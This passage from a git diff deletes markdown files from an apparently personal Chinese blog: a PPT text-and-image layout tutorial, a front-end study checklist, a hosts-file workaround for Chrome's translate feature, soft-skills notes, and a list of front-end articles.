-然后将它们的文字部分“裁剪”出来,然后根据原本文字的样式以及文字组合方式,最后分组排列出来。 - -效果图如下: - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090934581.png) - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090934439.png) - -可以看出这两组的字体之间差异很大的,在字体选择上: - -A组的字体主要是现代等线体,笔画没有装饰。出现题材很广泛,大多数是一些商业图册上,或者用于衬托人物场景时尚气质的图片上。 - -B组的字体主要是古典衬线体,笔画装饰强烈。多出现在传统、自然的以及一些抒情性很强的照片上。 - -在字体组合方式上: - -A组的字体组合都被紧密地排列在一个无形的矩形里,在视觉上形成一个面。 - -B组各个字之间松散地摆放组合在一起,在视觉形成一个个点。 - -其实可以这样去理解这两组字体在视觉心理的效果,见下图: - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090934764.png) - -而造成这两组字体在视觉心理上的区别,这和一张摄影作品两个重要的元素有关 - -## 2.主体物与视觉焦点 - -主体物的视觉焦点是摄影作品里的两个基本要素,因此在一张照片里通常会有一个突出的人或物作为主体。而其他例如在风景类摄影作品,照片里即使没有明确的主体物,也会存在一个视觉焦点。 -一张摄影作品的主体物和视觉焦点是很容易看出来的,如下图: - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090934314.png) - -为了展现“图片突出”的优秀设计作品里,文字部分与这两个基本要素的位置关系,同样做成效果图。分C、D两组展示。 - -**C组是文字部分与主体物的位置关系** -**D组是文字部分与视觉焦点的位置关系** - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090934653.png) - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090934019.png) - -(C组的深色块是主体物,D组的白点是视觉焦点,白色块是文字。) - -其实无需我多说,大家应该能从上面的效果图,可以大约地看出文字与两大元素之间的关系吧?我根据我的观察结论作一个整理: - -如果把主体物看作是一个面,就不难理解在一个需要文字粉饰图片的作品里,字体之间会被聚集在一个面里,因为面元素的重复出现在一个画面里,整体画面就不会出现违和感,还能让文字和图片之间保持和谐统一。 - -如果你能观察了足够多C组类型的“效果图”后,就发现了在所有的这类优秀设计作品里,文字部分与主体物之间的位置大小关系有三大原则: - -**1:文字部分的面积绝对不能大于或接近主体物的面积。** -**2:文字“面”与主体“面”的边线保持联系(直线或平行)。** -**3:文字“面”或者与画面边缘的距离几乎相等于主体“面”与画面边缘的距离。** - -现在来看看D组,文字部分与视觉焦点的关系基本和上面的铁律相似,但唯一的特别之处在于:**当视觉焦点位于画面中线,文字部分使用居中式。** - -不过同样也是观察了足够多的“效果图”后,发现视觉焦点的位置不仅仅是与构图有关,这其中还有很多的特殊情况必须要注意到: - -**1:当照片的主体物是分散且毫无意义的,视觉焦点默认在画面中心。** -**2:当照片被某一个场景或物品切割了整张画面时,视觉焦点只会出现会在切割线上。默认位于中心点或者色彩密集的地方。** -**3:眼睛单独作为视觉焦点** - -第一点提到的照片的主体物是分散且毫无意义的。举一些例子,它们的题材一般是拍摄天空、无边际的森林树木又或者下雨的场景等等... ...这类照片的视觉焦点默认在画面的中心点,并且文字部分也只能固定在画面中心,因为文字部分在这时需要拟补原本照片缺乏视觉焦点的缺陷。(D组第一列第三张) - -而第二点提到某些被一个场景或物品切割了整张画面的照片,通常是因为地平线或者海岸线之类引起的。还有一种类似的情况是,当照片里的主体物太大,以至于切割了背景出现切割线时,主体物就不能作为一个面来看待了。如D组里二列第二和第三... ....就是这种情况,视觉的焦点通常位于切割线的其中一处,通常是色彩密集出现的地方。 - -第三点非常重要!在画面的内容里眼睛的存在会形成一个视觉焦点,不管是人还是其他生物的眼睛,只要是看到眼睛,那么文字部分的排版就要依据“眼睛”(视觉焦点)而不是人本身(面) -已经说了好多东西了... .... 那现在就目前的理论来实际操作一下吧,做一组“文字粉饰图片”的例子。 - -就先拿第二节开头展示的那两张摄影作品来做吧... ...文字部分就直接取至A组 - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090934233.jpeg) - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090935390.jpeg) - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090935461.jpeg) - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936613.jpeg) - -以上的例子文字部分是怎么选择位置的,详细见下图: - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936766.png) - -上图是说明我并不凭感觉去确定文字部分的位置,仅仅只是按照三大原则来确定的。在左图中,小狗虽然是照片里的主体物,但是因为眼睛的存在,所以文字的排版必须依照视觉焦点(眼睛)来排版,这是之前D组结论提到过的。但是在计算字体部分与画面边缘的距离的时候,依然参照与主体物与边缘的距离,而非视觉焦点与边缘的。 - -而右图中,视觉焦点确定在照片透视的灭点,由于是处于画面的中线,因此文字部分采用居中式。除此之外,因为照片上的主体物并不明确,所以文字离边缘的距离没有参考,只要与视觉焦点的联系不变,文字部分位置随意。 - -后面我又加上了两个例子,因为弥补前两个都是以视觉焦点做参照的例子,所以第三个例子以主体物(杯子)为参照的排版,其中的过程和前两个差不多,就略过吧。最后一个例子因为照片是主体物是分散且毫无意义的(星空),所以文字部分只能固定在画面中心,弥补主体位置。 - -事实上我还想要举更多的例子来说明各种情况,但是写到这里感觉篇幅已经很长了。现在还只讲了一部分“文字粉饰图片”的原则与规律,现在在下一节来讲“图片突出文字”的特点。 - -## 3.字体与图形的配合 - -以“图片突出文字”为目的的排版,其特点是不需要分析照片里面的元素。在大部分设计教程以及很多优秀的设计作品里,图片被认为只是作为一个大色块存在,它的存在只是为了最后你想要表达的文字(情感),铺设基调。而我前面就提到的,B组的字体组合方式往往用分散的点状摆放,因此放在照片这样一个大的“面”上,形成元素的对比效果,可以更有效的突出文字部分。 - -但是这样有一个很大的缺点:过于分散的字体之间不仅容易缺乏联系,而且还会造成阅读困难。此外,一张太花哨的照片也会导致你的文字部分难以突出。 - -大部分优秀排版里采用的解决方案是运用字体与图形的配合,而其中类型有三种: - -**第一种:形状图形** - -形状图形主要指方形、圆形以及一些不规则的形状图形。 -(下面的效果图都是我统计优秀作品最常用到的方法) - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936489.png) - -上图展示的是三种运用方形的方式,我从左到右依个解释一下: - -突出:当文字部分融入到图片里变得难以看清的时候。在这里最好的办法就是像这样放置一个方形在背景,然后再调节字体的颜色与方块对比,使文字部分突出。 - -集中:这种方法是为了不弱化图片的情况下,让文字部分集中在一个方形里,增加易读性。是包装设计常在出现的排版。 - -修饰:这个方形其实只是代表,代表所有不规则图形的运用。当文字组合之间太过散乱,又或者字体之间大小的差异太大的时候,放置一个(不)规则图形,尽可能连接到每一个字上,形成联系。 - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936578.jpeg) - -这是方形“集中”的例子,方块的存在突出了文字本身,又保证了阅读顺畅。同时这个方块可以在这张照片上的任何一个位置都没有影响,所以很适合包装设计的需要。 - -根据评论区的建议,形状图形这部分我补充一点:形状图形的用法通常有两种,一种是中间加上一个深色的形状,字体的位置放在形状的中间。另一种是在图片的上下两边各加一个浅色形状,字体的位置放在形状与图片交界的地方。这两种方法简称为“一黑二白”,见下图。 - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936326.png) - -而关于形状的颜色和透明度设置,请看本文的色彩部分。 - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936911.png) - -上图是关于圆形的常见运用: - -普通:这是一个作为对比的普通排版 - -突出:**这个比起方形有着好的突出效果**,这个圆形可以替换成一些素材,比如墨滴之类的圆形素材,甚至可以利用图片本身存在一个巨大的圆形物体的,来突出文字部分。 - -适用:这个同样可以突出“面”文字,这就也为什么这个方法经常出现各类商业图册、海报以及各类宣传单... ... - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936055.jpeg) - -上图是举例古文字也是可以作为一个圆形的运用。 - -**第二种:直线** - -直线分两种,一种就是纯粹的一条直线,而另一种则是由细小的字组成的一段文字(通常是英文)。 - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936031.png) - -上面是纯粹的直线运用举例 - -联系:很常见的运用方法,不需要解释了吧... - -集中:作用和方形“集中”相同,只是这个是用两条线组成一个隐形的方块,更有形式感。不同这种只能出现在色彩单一或大量留白的照片。 - -连接符:增加形似感的小东西... ...可以用于连接两段文字的内容,时尚类设计作品最常用到,在下面打一个问号,是因为连接符的种类很多,上图只是举例... ... - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936088.png) - -这是另一种“直线”,由一排细小的字组成。 - -联系:与上一种相同,但只适用于标题文字较少的时候。剩下两个不用解释了... ...大家应该都清楚。 - -**第三种:字符** - -![ppt图文排版,PPT图片,ppt排版技巧,PPT教程](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936070.png) - -一般是指的数字以及英文字母,配合文字能有更好的突出效果。如上图,,而阿拉伯数字的效果最佳。 - -以上就是字体与图形的配合部分,不过还有一个例子要特别说明一下: - -上图展示的是一个出现频率最高的配合类型的,圆形形状加上字符,然后用连接符接上你要表达的文字。这是最经典的配合类型了。至少突出文字部分的效果非常不错! - -**先看一张思维导向图(点击图片查看大图)** - -![ppt-jiaocheng-31-2](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936370.png) - -## 4.色彩的组合模型 - -PS:以下色彩部分,因为没有大量的实际操作过,所以我不确定结论的正确性。因此色彩部分仅供参考,只希望大家能从中得到一些启发就好了。 - -![ppt色彩](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936381.png) - -我们多多少少都学习过色彩的基础知识,我们都知道上图的红色代表着热情、绿色代表着自然以及紫色代表着高雅等等... ...但是我们却不能以此为参照来决定字体的色彩,因为实际的情况要比这复杂的多。无论一张照片还是海报,都会运用到大量的色彩,把这些色彩集合成一个组合时,将其称之为“色组”,如下图。 - -![ppt色彩](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936406.png) - -这时,要如何区分上图这些色组的视觉心理呢?在教科书上采用的方法是分成四种类型:分别是“互补色”、“对比色”、“同类色”和“邻近色”。然后再解释这些类型的视觉心理,比如“互补色”有着突出、华丽的效果或者更吸引眼球等等... ...但是这个方法只能解释那些只采用少量色彩的照片或海报,所以这个方法在面对一张色彩丰富的照片或海报时,这个方法又显得太过笼统和片面。 - -而在网上大部分的配色教程里,则用“色卡”来解释色组的视觉心理的,“色卡”是从一张照片里提炼出三到六个主要色彩组合起来的配色方案,并认为“色卡”和原照片的视觉心理效果(情绪)是相同的,因此大部分设计作品会以此为参照做配色方案。 - -但我阅读了很多研究配色的书籍或文章,其中大部分都认为一个“色卡”是远远不足于解释一张照片给人的视觉心理效果的。认为一张照片给人的视觉感受,不是这张照片里所有的颜色共同作用下的结果。并表示一张照片的色彩数量、各个色彩之间的面积以及冷暖的对比等等... ...都是会影响一张照片的视觉心理效果的。 - -于是我总结这些文章的观点,我重新设计了一个色彩的组合模型,用来描述多个色彩组合的视觉心理效果,见下图: - -![ppt色彩](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936398.png) - -上图是一个色彩组合的模型,我设计成一个倒三角的形状。我稍微简单解释一下:倒三角形最上面的一块是主色,主色是这张照片里最突出的色彩,通常是照片里的面积最大。往下一个是副色,副色比主色的突出效果要较弱一些。再往下则是一些辅助色以及一些面积非常小的点缀色等等... ... - -这个模型可以解释很多色彩组合的视觉心理效果,见下图: - -![ppt色彩](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936342.png) - -**X:亲和 - 强烈** - -主色和副色的对比关系是会影响照片的视觉心理,当主色和副色的对越弱,画面的表现越柔和,相反主色和副色的对比越大(通常是由两者的冷暖、面积、色相的不同),画面的表现就越强烈。 - -![ppt色彩对比](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936197.png) - -**Y:平均 - 突出** - -这里指的是主副色和其他的颜色的面积比例关系。当主副色的面积和其他颜色的面积相差无几的时候,画面表现出唯美的感觉。相反主副色的面积远远超过了其他颜色面积的总和时,画面的情绪完全由主副色主导。 - -![ppt色彩对比](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936993.png) - -**Z:单调 - 丰富** - -这里比较的是一张照片里色彩的数量,数量小就会显得单调,相反则越丰富。 - -上面三种类型都用XYZ来标记,因为我要总结字体以及色彩的选择与色彩组合模型之间的关系时,我就要用到下图这个大模型了: - -![ppt色彩](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936237.jpeg) - -上图展示的大模型里,色彩模型的三种类型做成了一个三维的坐标轴系,这表明了任何一张照片的色彩组合,都是这个XYZ轴系里的一个点,也就是说任意一个色彩组合模型会同时满足三种类型的其中一种,最终会形成八种色彩组合模型(八种情绪),下面列举一些: - -![ppt设计](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090936735.jpeg) - -![ppt设计](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937915.jpeg) - -![ppt设计](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937952.jpeg) - -![ppt设计](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937307.jpeg) - -大家能看到在大模型里还有冷暖区分的四个色块,它们代表了四个区域,从上往下分别是“粗古”、“细古”、“细现”和“粗现”。这些色块是表达:当一个色彩组合越倾向坐标系的正轴时,则使用越粗的古典字体。相反地,越倾向负轴时,则使用越粗的现代字体。 - -简单地来说,就是当一张照片的色彩的越强烈、越突出、越丰富时,就用古典的衬线字体,而且要越粗越好,而当一张照片的色彩的越亲和、越平均、越单调时,就用现代的无衬线字体,而且要越粗越好。这是大模型的作用之一:不同色彩组合对字体选择的影响。 - -大模型的另外一个作用在于,**我们还可以通过对增减或改变某个色彩,来改变这个照片的色彩组合倾向,来表达某一个情感、主体又或者适应某一个字体等等... ...**而改变的方法,就是利用字体或形状图形的颜色。这就意味着在图片上加字这个行为,就已经是在影响一张照片的色彩心理了。 - -综上,我们拿刚才的图片来举一些例子,见下图: - -![ppt图文排版](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937091.jpeg) - -![ppt图文排版](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937172.jpeg) - -![ppt图文排版](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937102.jpeg) - -第一个例子,由于照片的色组属性是“强烈”、“突出”和“单调”,所以选用了细笔画的古典字体,这是一个“文字粉饰图片”的例子。 - -第二个例子,是一个“图片突出文字”的例子。虽然这张照片的色彩属性有“强烈”和“突出”,但色彩却是“单调”的,我的做法是先加上两个粗笔画的毛笔字(粗古),突出一个主色。然后再放一段酡红色的英文,是色组变得丰富,同时配合“粗古”,让色彩的情绪表达地更加明显。 - -最后的例子,是关于形状的颜色和透明度设置的一个示范。由于这张照片的色组属性太过平均,所以我用一个形状压住一个副色调,然后用“粗古”字体压住主色调,将这个色组的“平均”属性转为“突出”。这个例子是想表达:形状图形的色调选择,关键在于你想怎么改变色组的属性,而半透明的设置,可以改变色组的“丰富”属性。 - -过程见下图: - -![ppt-jiaocheng-31-37](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937466.jpeg) - -![ppt图文排版](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937146.jpeg) - -## 5.单个字体的形态 - -篇幅已经很长了,直接上结论吧(累)。总结了所有的教程和优秀设计作品,我认为区别单个字体之间最重要的三个特征:见下图 - -![ppt字体](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937919.png) - -![ppt文字](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937331.png) - -体饰指的是在字体笔画末端的装饰,字体的体饰之间不是有或无,而是多和少,这是一个比较模糊的概念。通常按照笔画体饰的多少划分“古”文字和“今”文字。“古”文字适合作为标题,出现表现自然、传统或者表现历史厚重感的题材里,“今”文字大多是在时尚、科技或者普通生活题材里,“古”文字最重要的特点是抒情,“今”文字则注重简洁。 - -![ppt文字](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937793.png) - -笔画的差异在于粗细,粗笔画用于强调,细笔画则用于修饰细节,例如突出某商品的精细做工。这里还有特别说明的一种情况是粗细结合,笔画的粗细差异算其实是属于体饰的变化。 - -![ppt文字](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937555.png) - -转折的差异在于曲直,转折越尖锐的字体适合表达力量感,反之曲面转折的字体适合表现女性的柔美。见下面两个例子: - -![ppt文字](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937941.jpeg) - -![ppt文字](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203090937530.jpeg) diff --git "a/src/\350\275\257\346\212\200\350\203\275/\345\211\215\347\253\257\345\255\246\344\271\240\347\233\256\346\240\207.md" "b/src/\350\275\257\346\212\200\350\203\275/\345\211\215\347\253\257\345\255\246\344\271\240\347\233\256\346\240\207.md" deleted file mode 100644 index e84b3569..00000000 --- "a/src/\350\275\257\346\212\200\350\203\275/\345\211\215\347\253\257\345\255\246\344\271\240\347\233\256\346\240\207.md" +++ /dev/null @@ -1,43 +0,0 @@ ---- -category: -- 前端 -tag: -- 小目标 -comment: false ---- - -# 前端学习目标 - -## 前端工具 - -- [x] Write the press release -- [ ] Update the website -- [ ] Contact the media - -## 语言类 - -- [ ] Node.js 深入及其课程 -- [ ] TS + Vue3 课程 -- [ ] 前端监控系统 - -- [ ] 浏览器原理文章整合 -- [ ] Vue-Router API实现 -- [ ] Axios原码实现 - -## 框架类 - -- [ ] React -- [ ] React Nactive - -- [ ] Node.js 脚手架搭建 - -## 项目类 - -- [ ] Minecraft 官网迭代,更新为Nuxt3和Nest.js - - - -## 书籍类 - -- [ ] 《深入浅出Node》 -- [ ] 《架构简洁之道》 diff --git "a/src/\350\275\257\346\212\200\350\203\275/\346\265\217\350\247\210\345\231\250\347\277\273\350\257\221.md" "b/src/\350\275\257\346\212\200\350\203\275/\346\265\217\350\247\210\345\231\250\347\277\273\350\257\221.md" deleted file mode 100644 index 58e44eab..00000000 --- "a/src/\350\275\257\346\212\200\350\203\275/\346\265\217\350\247\210\345\231\250\347\277\273\350\257\221.md" +++ /dev/null @@ -1,89 +0,0 @@ -# 解决 Chrome浏览器翻译功能无法使用 - -近日(2022.09.25)起,Chrome浏览器翻译功能逐渐在中国大陆无法使用。是由于谷歌撤销了谷歌中国翻译服务,将https://translate.google.cn/ 业务转移到了 海外。 导致大陆用户无法访问谷歌翻译。 - -Chrome浏览器的翻译功能是浏览器核心调用的API,不支持读取浏览器设置的代理服务器。 所以浏览器插件设置的浏览器代理无法解决翻译问题。 - -解决方案有两种: - -1. 使用 **Clash** 等客户端 -2. 安装 Chrome 浏览器上的第三方网页翻译插件,比如 **腾讯翻译、Mate Translate** 等 -3. 修改系统hosts文件,增加如下两行。教程:[hosts文件如何修改 - 零分猫](https://www.lingfenmao.com/it/5446.html) - -``` -# 注意:这些 IP 日后有可能会失效,如果你找到可用的也欢迎分享 -# 修改前,你也可以先 ping 一下此 IP 地址是否正常 -113.108.239.162 translate.google.com -113.108.239.162 translate.googleapis.com -``` - -理论上只要你修改 Hosts 的 IP 地址能访问,谷歌翻译功能就可以恢复正常使用。当然了,这些目前可用的服务器 IP 日后到底会不会全部失效,谁也说不准,且用且珍惜吧。 - -短期内,此方法可以暂时恢复解决谷歌浏览器的翻译功能不能用的问题。除此之外,如果你在办公、学习过程中特别需要使用翻译,那么也可以试一试自带必应翻译的 Edge 浏览器,或者安装 Chrome 浏览器上的第三方网页翻译插件,比如 **腾讯翻译、Mate Translate** 等 - -其他谷歌中国可用IP,任选其一,请自行测试。 - -``` -上海/电信: -180.163.150.34 -180.163.151.34 -180.163.151.162 -180.163.150.162 -180.163.150.33 - -上海/移动: -120.253.253.226 -120.253.253.98 -120.253.250.226 -120.253.255.162 -120.253.253.34 -120.253.255.98 -120.253.253.162 -120.253.255.34 - -上海/Google数据中心/电信: -203.208.40.98 -203.208.41.98 -203.208.41.66 -203.208.41.34 -203.208.40.66 -203.208.41.97 -203.208.40.97 -203.208.40.65 -203.208.40.34 - -北京/电信: -220.181.174.226 -220.181.174.34 -220.181.174.98 -220.181.174.162 -220.181.174.33 -203.208.50.162 - -北京/Google数据中心/电信: -203.208.43.66 -203.208.39.194 -203.208.50.66 -203.208.43.98 -203.208.50.34 -203.208.39.226 - -北京/联通: -114.250.64.34 -114.250.70.34 -114.250.63.34 -114.250.66.34 -114.250.65.34 - -广州/电信: -113.108.239.226 -58.63.233.98 -113.108.239.162 - -广州/移动: -120.241.147.162 -120.232.181.162 - -广州/联通: -58.254.137.226 -``` \ No newline at end of file diff --git "a/src/\350\275\257\346\212\200\350\203\275/\347\250\213\345\272\217\345\221\230\350\275\257\346\212\200\350\203\275.md" "b/src/\350\275\257\346\212\200\350\203\275/\347\250\213\345\272\217\345\221\230\350\275\257\346\212\200\350\203\275.md" deleted file mode 100644 index 1956eb52..00000000 --- "a/src/\350\275\257\346\212\200\350\203\275/\347\250\213\345\272\217\345\221\230\350\275\257\346\212\200\350\203\275.md" +++ /dev/null @@ -1,31 +0,0 @@ -# 程序员软技能 - -> 来源:技术胖 - -## 自我营销能力 - -- 注重表达能力 -- 不要变成透明人 - -### 方法 - -1. 读技术无关的书籍 -2. 多写开发文档 -3. 学会自我包装 -4. 尝试多讲多说 -5. 和更多的开发者建立联系 - -## 应聘技巧 - -自我介绍: - -- 我对当前的开发领域充满激情 -- 我在团队中能够很好的有效沟通 -- 我在编程的专业领域足够擅长 -- 我会很快融入新的团队并为团队做出贡献 - -### 对企业文化和团队文化的了解 - - - -### 程序员技术深度的体现 \ No newline at end of file diff --git "a/src/\350\275\257\346\212\200\350\203\275/\347\262\276\351\200\211\346\226\207\347\253\240\345\210\227\350\241\250.md" "b/src/\350\275\257\346\212\200\350\203\275/\347\262\276\351\200\211\346\226\207\347\253\240\345\210\227\350\241\250.md" deleted file mode 100644 index 5ae270d3..00000000 --- "a/src/\350\275\257\346\212\200\350\203\275/\347\262\276\351\200\211\346\226\207\347\253\240\345\210\227\350\241\250.md" +++ /dev/null @@ -1,196 +0,0 @@ ---- -category: -- 前端 -tag: -- 小目标 -comment: false ---- - -# 2022前端精选文章/书籍/博客列表 - -所选内容仅参照我个人所见所闻所学,欢迎推荐新的条目给我:smile:,本列表将持续更新~ - -## 牛人博客 :paperclips: - -- [Kent C. Dodds](https://kentcdodds.com/) -- [fi3ework](https://github.com/fi3ework/blog) -- [**木易杨** 的博客](https://github.com/yygmind/blog) -- [DDFE/DDFE-blog: welcome to DDFE's blog](https://github.com/DDFE/DDFE-blog) - -## JavaScript - -- [JavaScript 深入系列、JavaScript 专题系列、ES6 系列](https://github.com/mqyqingfeng/Blog) - -- [完全熟练掌握 eventLoop](https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/) - -- [javascript - 深入理解JavaScript执行上下文和执行栈_个人文章 - SegmentFault 思否](https://segmentfault.com/a/1190000018550118) - -- [一篇彻底理解Proxy - 掘金](https://juejin.cn/post/6975858843729264653) - -- [javascript - 理解Object.defineProperty的作用_个人文章 - SegmentFault 思否](https://segmentfault.com/a/1190000007434923) - -- [history对象详解及单页面路由实现](https://www.fly63.com/article/detial/2063) - -- [JavaScript 核心进阶:导读 - 简书](https://www.jianshu.com/p/cd3fee40ef59) - -### Promise - -- [Promise A+ 英文文档](https://promisesaplus.com/) -- [剖析Promise内部结构,一步一步实现一个完整的、能通过所有Test case的Promise类 ](https://github.com/xieranmaya/blog/issues/3) -- [最简实现Promise,支持异步链式调用(20行)](https://juejin.cn/post/6844904094079926286) - -### async await - -- [Async、Await和Generator的关系](https://juejin.cn/post/7075612522870472735) -- [手写 async await 的最简实现(20 行搞定)](https://juejin.im/post/5e79e841f265da5726612b6e) -- [ES6 系列之 Babel 将 Generator 编译成了什么样子](https://github.com/mqyqingfeng/Blog/issues/102) - -### 异常处理 - -- [Callback Promise Generator Async-Await 和异常处理的演进](https://juejin.cn/post/6844903462002491399) -- [JavaScript错误处理和堆栈追踪 - 小如如 - 博客园](https://www.cnblogs.com/caoru/p/6699583.html) -- [前端异常的捕获与处理_个人文章 - SegmentFault 思否](https://segmentfault.com/a/1190000039264963) - -### 插件机制 - -- [Koa 的洋葱中间件,Redux 的中间件,Axios 的拦截器让你迷惑吗?实现一个精简版的就彻底搞懂了。](https://juejin.cn/post/6844904039608500237) - -## CSS - -### 布局 - -- [Oh My God,CSS flex-basis原来有这么多细节 « 张鑫旭-鑫空间-鑫生活](https://www.zhangxinxu.com/wordpress/2019/12/css-flex-basis/#:~:text=flex-basis%20%E7%9A%84%E5%B0%BA%E5%AF%B8%E6%98%AF%E4%BD%9C%E7%94%A8%E5%9C%A8%20content-box%20%E4%B8%8A%E7%9A%84%EF%BC%8C%E8%BF%99%E4%B8%AA%E5%92%8C%20width%20%E5%B1%9E%E6%80%A7%E6%98%AF%E4%B8%80%E6%A0%B7%E7%9A%84%E3%80%82%20%E4%BE%8B%E5%A6%82%EF%BC%9A.flex-basis%20%7B,solid%20deepskyblue%3B%20color%3A%20deepskyblue%3B%20flex-basis%3A%20100px%20%3B%20%7D) - -### 动画 - -### Less/Sass - -## 框架 - -### Vue - -- [复杂的音乐表格需求](https://juejin.im/post/5d40fa605188255d2e32c929) - -- [Vue 源码详解之 nextTick:MutationObserver 只是浮云,microtask 才是核心!](https://segmentfault.com/a/1190000008589736) - -- [探索 Vue 高阶组件 | HcySunYang](https://segmentfault.com/p/1210000012743259/read) - -- [Vue 进阶必学之高阶组件 HOC](https://juejin.im/post/5e8b5fa6f265da47ff7cc139) - -- [vue-router-advanced](https://github.com/vuejs/vue-router/tree/dev/docs/zh/guide/advanced) - -- [网上都说操作真实 DOM 慢,但测试结果却比 React 更快,为什么?](https://www.zhihu.com/question/31809713/answer/53544875) - -#### 源码 - -- [Vue.js 源码全方位深入解析 (含 Vue3.0 源码分析)](https://coding.imooc.com/class/228.html) -- [Vue 逐行级别的源码分析](https://github.com/HcySunYang/vue-design) -- [组件的本质](http://hcysun.me/vue-design/zh/essence-of-comp.html#组件的产出是什么) - -#### Vue3 - -- [Vue3 究竟好在哪里?(和 React Hook 的详细对比)](https://juejin.im/post/5e9ce011f265da47b8450c11) - -#### 源码 - -- [带你彻底搞懂 Vue3 的 Proxy 响应式原理!TypeScript 从零实现基于 Proxy 的响应式库。](https://juejin.im/post/5e21196fe51d454d523be084) -- [带你彻底搞懂 Vue3 的 Proxy 响应式原理!基于函数劫持实现 Map 和 Set 的响应式](https://juejin.im/post/5e23b20f51882510073eb571) -- [深度解析:Vue3 如何巧妙的实现强大的 computed](https://juejin.im/post/5e2fdf29e51d45026866107d) -- [40 行代码把 Vue3 的响应式集成进 React 做状态管理](https://juejin.im/post/5e70970af265da576429aada) - -### React - -- [React 组合式开发实践:打造企业管理系统五大核心模块](https://juejin.im/book/5b1e15f76fb9a01e516d14a0) -- [React Hooks 与 Immutable 数据流实战](https://juejin.im/book/5da96626e51d4524ba0fd237) -- [understanding-reacts-key-prop](https://kentcdodds.com/blog/understanding-reacts-key-prop) -- [react 中为何推荐设置 key](https://zhuanlan.zhihu.com/p/112917118) -- [you-probably-dont-need-derived-state 派生状态](https://zh-hans.reactjs.org/blog/2018/06/07/you-probably-dont-need-derived-state.html) -- [理解 Next.js 中的 CSR、SSR、SSG、ISR 以及 Streaming](https://juejin.cn/post/7162775935828115469) -- [React技术揭秘](https://react.iamkasong.com/#%E5%AF%BC%E5%AD%A6%E8%A7%86%E9%A2%91) - -#### React Hook - -- [useEffect 完整指南](https://overreacted.io/zh-hans/a-complete-guide-to-useeffect/) -- [dan 的博客主页](https://overreacted.io/zh-hans) -- [函数式组件与类组件有何不同?](https://overreacted.io/zh-hans/how-are-function-components-different-from-classes/) -- [精读《Hooks 取数 - swr 源码》](https://segmentfault.com/a/1190000020964640) -- [Umi Hooks - 助力拥抱 React Hooks](https://zhuanlan.zhihu.com/p/103150605?utm_source=wechat_session) -- [React Hooks 的体系设计之一 - 分层](https://zhuanlan.zhihu.com/p/106665408) - -#### React 性能优化 - -- 